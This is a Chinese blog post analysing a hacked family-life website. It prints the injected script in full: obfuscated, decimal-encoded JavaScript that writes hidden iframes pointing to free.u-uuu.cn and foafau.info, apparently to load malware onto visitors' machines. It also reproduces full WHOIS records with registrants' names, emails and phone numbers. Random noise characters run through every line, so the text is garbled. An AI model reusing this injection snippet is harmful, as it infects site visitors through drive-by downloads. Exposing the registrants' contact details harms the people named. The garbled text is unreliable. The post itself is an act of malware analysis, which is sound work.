首发在我的博客里面，
{oeQK u`nn{C4D" http://www.areway.cn/?p=175 Zul32]1r l@jJJ)Qyk .HJHJ.Js8X 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
B\w` )c Ot<!Y M <script>t=’60,105,102,114,97,109,101,
LA0x6E+I 32,115,114,99,61,104,116,116,112,58,47,47,
@= 9y5r 102,114,101,101,46,117,45,117,117,117,46,99,
f#MN-1[67 110,47,101,114,114,111,114,46,104,116,109,
/YR $#&N2 32,119,105,100,116,104,61,49,48,48,32,104,
/aE Q3 x 101,105,103,104,116,61,48,62,60,47,105,102,
bx6}zkf& 114,97,109,101,62′;
tC~itU=V t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
0R%58, R x" T^>Q <script>t=’60,105,102,114,97,109,101,32,115,
F+r6/e6a 114,99,61,104,116,116,112,58,47,47,102,114,
2 p[3Ap 101,101,46,117,45,117,117,117,46,99,110,47,
I k)Q0_<a 101,114,114,111,114,46,104,116,109,32,119,
"& |2IA 105,100,116,104,61,49,48,48,32,104,101,105,
] 6B!eB
! 103,104,116,61,48,62,60,47,105,102,114,97,
|{"7/~*[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~`f B\7 M document.write(t);</script>
h :90K T ua
@w+
<html xmlns=”
A+8b] t_k http://www.w3.org/1999/xhtml ~'mhC46d “>
KgS xF# <head>
!!>G{ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
bm?TM hC <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
g"f^YEQ_ <title>首页 - 爱生活家庭网
o`0H(\en =Ji:nEl]z 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/HD2F_XA 转换字符串后的大概内容是（谁点击后果自付）：
(#`o >G ( <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
SQx):L)P6 Z2}b1#U? 查询玉米u-uuu.cn的详细信息：
r2w7lf66! Domain Name: u-uuu.cn
[%Xfl7;Wh ROID: 20070901s10001s64972306-cn
9$i`B>C~ Domain Status: ok
; & +75n Registrant Organization: 王雷
?^p8]Va% Registrant Name: 王雷
X2Mj|_#u Administrative Email:
czlovexs@126.com #YdU,y=B Sponsoring Registrar: 北京万网志成科技有限公司
Op~+yMe f Name Server:ns.yovole.com
(1vS)v
$L Name Server:ns1.yovole.com
#\QC% "%f Registration Date: 2007-09-01 17:54
voE c'JET Expiration Date: 2008-09-01 17:54
mD3#$E!A1 最后PING了一下地址 都没有什么….
[8#l~
|U !y.7"G* 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3\ed4D <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
&|eQLY
#l <script language=”javascript” src=”
2ra4t]f6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script k9 ]n/ >
!}?]&[N= 这个玉米应该有可能是木马作者的：
J$[ Vm%56 foafau.info的详细信息：
Sa5 y7
Access to INFO WHOIS information is provided to assist persons in
s5 e} X: determining the contents of a domain name registration record in the
i9tM]/SP Afilias registry database. The data in this record is provided by
C? S %fF Afilias Limited for informational purposes only, and Afilias does not
,fRb6s- guarantee its accuracy. This service is intended only for query-based
xH uyfQLk access. You agree that you will use this data only for lawful purposes
rD g l@B3 and that, under no circumstances will you use this data to: (a) allow,
C/G[B?:h enable, or otherwise support the transmission by e-mail, telephone, or
8qveKS]vZ facsimile of mass unsolicited, commercial advertising or solicitations
{rQ`#?J}^? to entities other than the data recipient’s own existing customers; or
>E3OYa?G (b) enable high volume, automated, electronic processes that send
`N+ P , queries or data to the systems of Registry Operator, a Registrar, or
~MF. M8 Afilias except as reasonably necessary to register domain names or
yFjSvm6 modify existing registrations. All rights reserved. Afilias reserves
fsoS!6h0k the right to modify these terms at any time. By submitting this query,
SbY i|V,H you agree to abide by this policy.
;7}*Xr| Domain ID:D22418703-LRMS
Q>$v~v? 9 Domain Name:FOAFAU.INFO
b._pG (o1 Created On:20-Nov-2007 16:05:42 UTC
e6Y0G,K Last Updated On:20-Nov-2007 16:05:44 UTC
]h6 <o* Expiration Date:20-Nov-2008 16:05:42 UTC
tEl_A"^e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
}<p%PyM Status:CLIENT DELETE PROHIBITED
I]58;|J Status:CLIENT RENEW PROHIBITED
L 'y+^L|X Status:CLIENT TRANSFER PROHIBITED
%o>1$f] Status:CLIENT UPDATE PROHIBITED
q_bB/ Status:TRANSFER PROHIBITED
E),T, Registrant ID:GODA-040110615
=zdRoXBY[b Registrant Name:liu hong
A7se#"w Registrant Organization:
O#g31?TO Registrant Street1:beijing
lf 3W:0 K Registrant Street2:
Ox RzKT Registrant Street3:
2\ n6XAQ* Registrant City:beijing
FsjblB3?E Registrant State/Province:
&>SE9w/ ?o Registrant Postal Code:100000
r.[k D"l Registrant Country:CN
\oyr[so(i Registrant Phone:+86.860108888777
Zr3KzY9 Registrant Phone Ext.:
cVN|5Y Registrant FAX:
|yr }g-m Registrant FAX Ext.:
JXrMtSp\ Registrant Email:bbbshiji@163.com
\TjsXy=:) Admin ID:GODA-240110615
P$Nwf,d2u Admin Name:liu hong
kq+L63fZ Admin Organization:
HU H=Y; Admin Street1:beijing
hz!.|U@,{< Admin Street2:
{dDU^7O Admin Street3:
Q =Z-vTD+ Admin City:beijing
G"]'`2.m Admin State/Province:
*=rl<?tX Admin Postal Code:100000
U<$ |ET' Admin Country:CN
mSs%g L]g Admin Phone:+86.860108888777
On ao'sjY Admin Phone Ext.:
+m_quQ/ys Admin FAX:
9496 ayi Admin FAX Ext.:
xpae0vw Admin Email:bbbshiji@163.com
==& =3 Billing ID:GODA-340110615
tG'c79D \ Billing Name:liu hong
8WMC ~ Billing Organization:
+u7mw<A
8 Billing Street1:beijing
dXZV1e1b&# Billing Street2:
kAMt8 Billing Street3:
cz afBO6 Billing City:beijing
R b'"09)$ Billing State/Province:
b@Fa| >"_ Billing Postal Code:100000
FKPI {l Billing Country:CN
9kcAMk1K Billing Phone:+86.860108888777
i -+B{H Billing Phone Ext.:
HQ"D> hsuU Billing FAX:
j:g/[_0s Billing FAX Ext.:
tq{
aa Billing Email:bbbshiji@163.com
rc"yEI-``" Tech ID:GODA-140110615
ffd yDUzQ Tech Name:liu hong
z'
@F@k6 Tech Organization:
~e|~c<!z8@ Tech Street1:beijing
D9h\=[%e Tech Street2:
Hly$ Wm Tech Street3:
HghNI Tech City:beijing
~%cbp&s*/q Tech State/Province:
J}BS/Tr}= Tech Postal Code:100000
" ~tEmMz Tech Country:CN
% %*t{0!H+ Tech Phone:+86.860108888777
l&zd7BM9( Tech Phone Ext.:
xRb-m$B }L Tech FAX:
E=7~\7TE Tech FAX Ext.:
^j@,N&W:lG Tech Email:bbbshiji@163.com
<S<(wFE@4 Name Server:NS27.DOMAINCONTROL.COM
C Z|R-ky6p Name Server:NS28.DOMAINCONTROL.COM
KdUmetx1 Name Server:
bx1 ' Name Server:
DE In:d Name Server:
EI' ( Name Server:
N/(&&\3 Name Server:
2|+**BxHD Name Server:
e(cctC|l Name Server:
(V*ggii@ Name Server:
M^a QH/=:" Name Server:
Rh iiQ Name Server:
{{j?3O // Name Server:
Wcbb3N$+ +PjH2 接着下载每个文件里面的代码：
? r^ +- 一步一步看..
0e&Vvl4DK 
|dXmg13( - 
bUt?VR}P( 
DJhi>!xJ 
$Ad 5hkz 
G0^Nk H,k 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
